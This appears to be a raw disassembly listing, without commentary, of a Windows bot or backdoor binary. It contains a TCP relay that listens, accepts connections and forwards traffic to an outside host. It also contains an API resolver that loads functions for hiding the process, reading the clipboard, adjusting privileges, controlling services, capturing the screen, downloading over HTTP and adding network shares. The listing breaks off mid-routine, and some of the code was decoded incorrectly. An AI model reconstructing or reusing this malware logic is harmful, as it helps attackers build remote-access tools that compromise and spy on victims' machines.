		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_430794	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_430810	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_405AE6
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_4358E4[eax], ebx
		call	ds:dword_4306C0	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4307C0	; bind
		test	eax, eax
		jnz	loc_405AE6
		push	0Ah
		push	ebx
		call	ds:dword_4307BC	; listen
		test	eax, eax
		jnz	loc_405AE6


loc_405A2C:				; CODE XREF: sub_405982+BEj
					; sub_405982+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_430824	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_405A2C
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_420550
		push	eax
		call	sub_41050B
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_40FFB7
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_4358DC[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_405B0A
		push	esi
		push	esi
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_405AD1


loc_405ABE:				; CODE XREF: sub_405982+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_405A2C
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_405ABE
; ---------------------------------------------------------------------------


loc_405AD1:				; CODE XREF: sub_405982+13Aj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_420500
		call	sub_407E82
		pop	ecx
		pop	ecx
		jmp	short loc_405AE9
; ---------------------------------------------------------------------------


loc_405AE6:				; CODE XREF: sub_405982+61j
					; sub_405982+93j ...
		mov	edi, [ebp+arg_0]


loc_405AE9:				; CODE XREF: sub_405982+162j
		push	edi
		call	ds:dword_430828	; closesocket
		push	ebx
		call	ds:dword_430828	; closesocket
		push	[ebp+var_3C]
		call	sub_4102D3
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		xchg	eax, edx
		pop	edi
		pop	esi
		pop	ebx
sub_405982	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B0A	proc near		; DATA XREF: sub_405982+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_410BE0
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_430810	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_405CC0
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_430794	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_4307D0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_405B9A
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_430814	; gethostbyname
		jmp	short loc_405BA8
; ---------------------------------------------------------------------------


loc_405B9A:				; CODE XREF: sub_405B0A+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_430750	; gethostbyaddr


loc_405BA8:				; CODE XREF: sub_405B0A+8Ej
		cmp	eax, edi
		jz	loc_405CC0
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_430740	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_405CC0
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_43081C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_4205FC
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_40FFB7
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4358E4[ebx]
		mov	ds:dword_4358DC[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_4358E8[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	(offset	loc_405CED+4)
		push	edi
		push	edi
		call	ds:dword_41C06C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4358EC[ecx], eax
		jz	short loc_405CAD


loc_405C5A:				; CODE XREF: sub_405B0A+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_405C69
		push	32h
		call	ds:dword_41C058	; Sleep
		jmp	short loc_405C5A
; ---------------------------------------------------------------------------


loc_405C69:				; CODE XREF: sub_405B0A+153j
		mov	ebx, 1000h


loc_405C6E:				; CODE XREF: sub_405B0A+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_4307AC	; recv
		cmp	eax, edi
		jle	short loc_405CC0
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4307E0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405C6E
		jmp	short loc_405CC0
; ---------------------------------------------------------------------------


loc_405CAD:				; CODE XREF: sub_405B0A+14Ej
		call	ds:dword_41C068	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4205A8
		call	sub_407E82
		pop	ecx
		pop	ecx


loc_405CC0:				; CODE XREF: sub_405B0A+44j
					; sub_405B0A+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_4358E4[eax]
		call	ds:dword_430828	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_430828	; closesocket
		push	[ebp+var_4]
		call	sub_4102D3
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_405CED:				; DATA XREF: sub_405B0A+130o
		mov	edx, 555B5E5Fh
sub_405B0A	endp ; sp-analysis failed

		mov	ebp, esp
		mov	eax, 1128h
		call	sub_410BE0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_405D28:				; CODE XREF: seg000:00405D6Dj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_410590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_4358E8[esi]
		call	ds:dword_4307AC	; recv
		test	eax, eax
		jle	short loc_405D6F
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_4358E4[esi]
		call	ds:dword_4307E0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405D28


loc_405D6F:				; CODE XREF: seg000:00405D52j
		push	ds:dword_4358E8[esi]
		call	ds:dword_430828	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_4102D3
		pop	ecx
		push	0
		call	near ptr 3D0000h
		pop	ss
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_405D8E	proc near		; CODE XREF: sub_4089FD+140p
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41C0B4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_41C0B0
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_405EAE
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43083C, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_4307B4, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_430798, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_4306C4, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_430674, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_4306A0, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_430710, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_4307F0, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_43084C, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_4306D0, eax
		call	esi
		cmp	ds:dword_43083C, ebx
		mov	ds:dword_4306B8, eax
		jz	short loc_405E8C
		cmp	ds:dword_4307B4, ebx
		jz	short loc_405E8C
		cmp	ds:dword_430798, ebx
		jz	short loc_405E8C
		cmp	ds:dword_4306C4, ebx
		jz	short loc_405E8C
		cmp	ds:dword_4306A0, ebx
		jz	short loc_405E8C
		cmp	ds:dword_430710, ebx
		jz	short loc_405E8C
		cmp	ds:dword_4307F0, ebx
		jz	short loc_405E8C
		cmp	ds:dword_43084C, ebx
		jz	short loc_405E8C
		cmp	ds:dword_4306D0, ebx
		jz	short loc_405E8C
		cmp	eax, ebx
		jnz	short loc_405E96


loc_405E8C:				; CODE XREF: sub_405D8E+B8j
					; sub_405D8E+C0j ...
		mov	ds:dword_430850, 1


loc_405E96:				; CODE XREF: sub_405D8E+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_4307C8, eax
		jz	short loc_405EC3
		push	1
		push	ebx
		call	eax
		jmp	short loc_405EC3
; ---------------------------------------------------------------------------


loc_405EAE:				; CODE XREF: sub_405D8E+1Dj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_430854, eax
		mov	ds:dword_430850, 1


loc_405EC3:				; CODE XREF: sub_405D8E+117j
					; sub_405D8E+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41C0AC	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405F7E
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_4307EC, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_4307A0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_430738, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_430840, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_430764, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_430784, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_4307E4, eax
		call	esi
		cmp	ds:dword_4307EC, ebx
		mov	ds:dword_4306EC, eax
		jz	short loc_405F89
		cmp	ds:dword_4307A0, ebx
		jz	short loc_405F89
		cmp	ds:dword_430738, ebx
		jz	short loc_405F89
		cmp	ds:dword_430840, ebx
		jz	short loc_405F89
		cmp	ds:dword_430764, ebx
		jz	short loc_405F89
		cmp	ds:dword_430784, ebx
		jz	short loc_405F89
		cmp	ds:dword_4307E4, ebx
		jz	short loc_405F89
		cmp	eax, ebx
		jnz	short loc_405F93
		jmp	short loc_405F89
; ---------------------------------------------------------------------------


loc_405F7E:				; CODE XREF: sub_405D8E+144j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_43085C, eax


loc_405F89:				; CODE XREF: sub_405D8E+1B8j
					; sub_405D8E+1C0j ...
		mov	ds:dword_430858, 1


loc_405F93:				; CODE XREF: sub_405D8E+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40612E
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_430800, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43074C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_4307B8, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_4306B0, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43070C, eax
		call	esi
		cmp	ds:dword_430800, ebx
		mov	ds:dword_430770, eax
		jz	short loc_40601E
		cmp	ds:dword_43074C, ebx
		jz	short loc_40601E
		cmp	ds:dword_4307B8, ebx
		jz	short loc_40601E
		cmp	ds:dword_4306B0, ebx
		jz	short loc_40601E
		cmp	ds:dword_43070C, ebx
		jz	short loc_40601E
		cmp	eax, ebx
		jnz	short loc_406028


loc_40601E:				; CODE XREF: sub_405D8E+26Aj
					; sub_405D8E+272j ...
		mov	ds:dword_430860, 1


loc_406028:				; CODE XREF: sub_405D8E+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	ds:dword_430778, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	ds:dword_430754, eax
		call	esi
		cmp	ds:dword_430778, ebx
		mov	ds:dword_4307FC, eax
		jz	short loc_406063
		cmp	ds:dword_430754, ebx
		jz	short loc_406063
		cmp	eax, ebx
		jnz	short loc_40606D


loc_406063:				; CODE XREF: sub_405D8E+2C7j
					; sub_405D8E+2CFj
		mov	ds:dword_430860, 1


loc_40606D:				; CODE XREF: sub_405D8E+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	ds:dword_430788, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	ds:dword_43068C, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	ds:dword_430694, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	ds:dword_4306F4, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	ds:dword_4306F8, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	ds:dword_4306A8, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	ds:dword_430758, eax
		call	esi
		cmp	ds:dword_430788, ebx
		mov	ds:dword_430698, eax
		jz	short loc_406111
		cmp	ds:dword_43068C, ebx
		jz	short loc_406111
		cmp	ds:dword_430694, ebx
		jz	short loc_406111
		cmp	ds:dword_4306F4, ebx
		jz	short loc_406111
		cmp	ds:dword_4306F8, ebx
		jz	short loc_406111
		cmp	ds:dword_4306A8, ebx
		jz	short loc_406111
		cmp	ds:dword_430758, ebx
		jz	short loc_406111
		cmp	eax, ebx
		jnz	short loc_40611B


loc_406111:				; CODE XREF: sub_405D8E+34Dj
					; sub_405D8E+355j ...
		mov	ds:dword_430860, 1


loc_40611B:				; CODE XREF: sub_405D8E+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_430690, eax
		jnz	short loc_406143
		jmp	short loc_406139
; ---------------------------------------------------------------------------


loc_40612E:				; CODE XREF: sub_405D8E+210j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_430864, eax


loc_406139:				; CODE XREF: sub_405D8E+39Ej
		mov	ds:dword_430860, 1


loc_406143:				; CODE XREF: sub_405D8E+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40620F
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	ds:dword_430780, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	ds:dword_4307D4, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	ds:dword_4307DC, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	ds:dword_43079C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	ds:dword_4306D4, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	ds:dword_430684, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	ds:dword_4307D8, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	ds:dword_430670, eax
		call	esi
		cmp	ds:dword_430780, ebx
		mov	ds:dword_430704, eax
		jz	short loc_40621A
		cmp	ds:dword_4307D4, ebx
		jz	short loc_40621A
		cmp	ds:dword_4307DC, ebx
		jz	short loc_40621A
		cmp	ds:dword_43079C, ebx
		jz	short loc_40621A
		cmp	ds:dword_4306D4, ebx
		jz	short loc_40621A
		cmp	ds:dword_430684, ebx
		jz	short loc_40621A
		cmp	ds:dword_4307D8, ebx
		jz	short loc_40621A
		cmp	ds:dword_430670, ebx
		jz	short loc_40621A
		cmp	eax, ebx
		jnz	short loc_406224
		jmp	short loc_40621A
; ---------------------------------------------------------------------------


loc_40620F:				; CODE XREF: sub_405D8E+3C0j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_43086C, eax


loc_40621A:				; CODE XREF: sub_405D8E+441j
					; sub_405D8E+449j ...
		mov	ds:dword_430868, 1


loc_406224:				; CODE XREF: sub_405D8E+47Dj
		mov	ebp, ds:dword_41C0AC
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4064E0
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	ds:dword_430718, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	ds:dword_430834, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	ds:dword_4306C0, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	ds:dword_43069C, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	ds:dword_430744, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	ds:dword_430730, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	ds:dword_430700, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	ds:dword_430810, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	ds:dword_43082C, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	ds:dword_430740, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	ds:dword_43081C, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	ds:dword_4307D0, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	ds:dword_430794, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	ds:dword_430790, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	ds:dword_4306E0, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	ds:dword_4306D8, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	ds:dword_4307E0, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	ds:dword_4307F4, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	ds:dword_4307AC, eax
		call	esi
		mov	ds:dword_43076C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	ds:dword_4307C0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	ds:dword_43077C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	ds:dword_4307BC, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	ds:dword_430824, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	ds:dword_430774, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	ds:dword_43073C, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	ds:dword_4307A8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	ds:dword_430814, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	ds:dword_430750, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	ds:dword_4306FC, eax
		call	esi
		cmp	ds:dword_430718, ebx
		mov	ds:dword_430828, eax
		jz	loc_4064EB
		cmp	ds:dword_430834, ebx
		jz	loc_4064EB
		cmp	ds:dword_4306C0, ebx
		jz	loc_4064EB
		cmp	ds:dword_430744, ebx
		jz	loc_4064EB
		cmp	ds:dword_430730, ebx
		jz	loc_4064EB
		cmp	ds:dword_430700, ebx
		jz	loc_4064EB
		cmp	ds:dword_430810, ebx
		jz	loc_4064EB
		cmp	ds:dword_43082C, ebx
		jz	loc_4064EB
		cmp	ds:dword_430740, ebx
		jz	loc_4064EB
		cmp	ds:dword_43081C, ebx
		jz	loc_4064EB
		cmp	ds:dword_4307D0, ebx
		jz	loc_4064EB
		cmp	ds:dword_430794, ebx
		jz	loc_4064EB
		cmp	ds:dword_430790, ebx
		jz	loc_4064EB
		cmp	ds:dword_4306E0, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307E0, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307F4, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307AC, ebx
		jz	short loc_4064EB
		cmp	ds:dword_43076C, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307C0, ebx
		jz	short loc_4064EB
		cmp	ds:dword_43077C, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307BC, ebx
		jz	short loc_4064EB
		cmp	ds:dword_430824, ebx
		jz	short loc_4064EB
		cmp	ds:dword_430774, ebx
		jz	short loc_4064EB
		cmp	ds:dword_43073C, ebx
		jz	short loc_4064EB
		cmp	ds:dword_4307A8, ebx
		jz	short loc_4064EB
		cmp	ds:dword_430814, ebx
		jz	short loc_4064EB
		cmp	ds:dword_430750, ebx
		jz	short loc_4064EB
		cmp	eax, ebx
		jnz	short loc_4064F5
		jmp	short loc_4064EB
; ---------------------------------------------------------------------------


loc_4064E0:				; CODE XREF: sub_405D8E+4A7j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_430874, eax


loc_4064EB:				; CODE XREF: sub_405D8E+646j
					; sub_405D8E+652j ...
		mov	ds:dword_430870, 1


loc_4064F5:				; CODE XREF: sub_405D8E+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4065FA
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	ds:dword_4306E8, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	ds:dword_430678, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	ds:dword_430760, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	ds:dword_43071C, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	ds:dword_430768, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	ds:dword_430734, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	ds:dword_4306B4, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	ds:dword_4306AC, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	ds:dword_4306BC, eax
		call	esi
		cmp	ds:dword_4306E8, ebx
		mov	ecx, ds:dword_430734
		mov	ds:dword_4307C4, eax
		jz	short loc_4065D6
		cmp	ds:dword_430678, ebx
		jz	short loc_4065D6
		cmp	ds:dword_430760, ebx
		jz	short loc_4065D6
		cmp	ds:dword_43071C, ebx
		jz	short loc_4065D6
		cmp	ds:dword_430768, ebx
		jz	short loc_4065D6
		cmp	ecx, ebx
		jz	short loc_4065D6
		cmp	ds:dword_4306B4, ebx
		jz	short loc_4065D6
		cmp	ds:dword_4306AC, ebx
		jz	short loc_4065D6
		cmp	ds:dword_4306BC, ebx
		jz	short loc_4065D6
		cmp	eax, ebx
		jnz	short loc_4065E0


loc_4065D6:				; CODE XREF: sub_405D8E+806j
					; sub_405D8E+80Ej ...
		mov	ds:dword_430878, 1


loc_4065E0:				; CODE XREF: sub_405D8E+846j
		cmp	ecx, ebx
		jz	short loc_406615
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	ds:dword_430748, eax
		jnz	short loc_406615
		jmp	short loc_40660F
; ---------------------------------------------------------------------------


loc_4065FA:				; CODE XREF: sub_405D8E+772j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_43087C, eax
		mov	ds:dword_430878, 1


loc_40660F:				; CODE XREF: sub_405D8E+86Aj
		mov	ds:dword_430748, ebx


loc_406615:				; CODE XREF: sub_405D8E+854j
					; sub_405D8E+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40665F
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	ds:dword_430728, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	ds:dword_430848, eax
		call	esi
		cmp	ds:dword_430728, ebx
		mov	ds:dword_4306C8, eax
		jz	short loc_40666A
		cmp	ds:dword_430848, ebx
		jz	short loc_40666A
		cmp	eax, ebx
		jnz	short loc_406674
		jmp	short loc_40666A
; ---------------------------------------------------------------------------


loc_40665F:				; CODE XREF: sub_405D8E+892j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_430884, eax


loc_40666A:				; CODE XREF: sub_405D8E+8C1j
					; sub_405D8E+8C9j ...
		mov	ds:dword_430880, 1


loc_406674:				; CODE XREF: sub_405D8E+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40676A
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
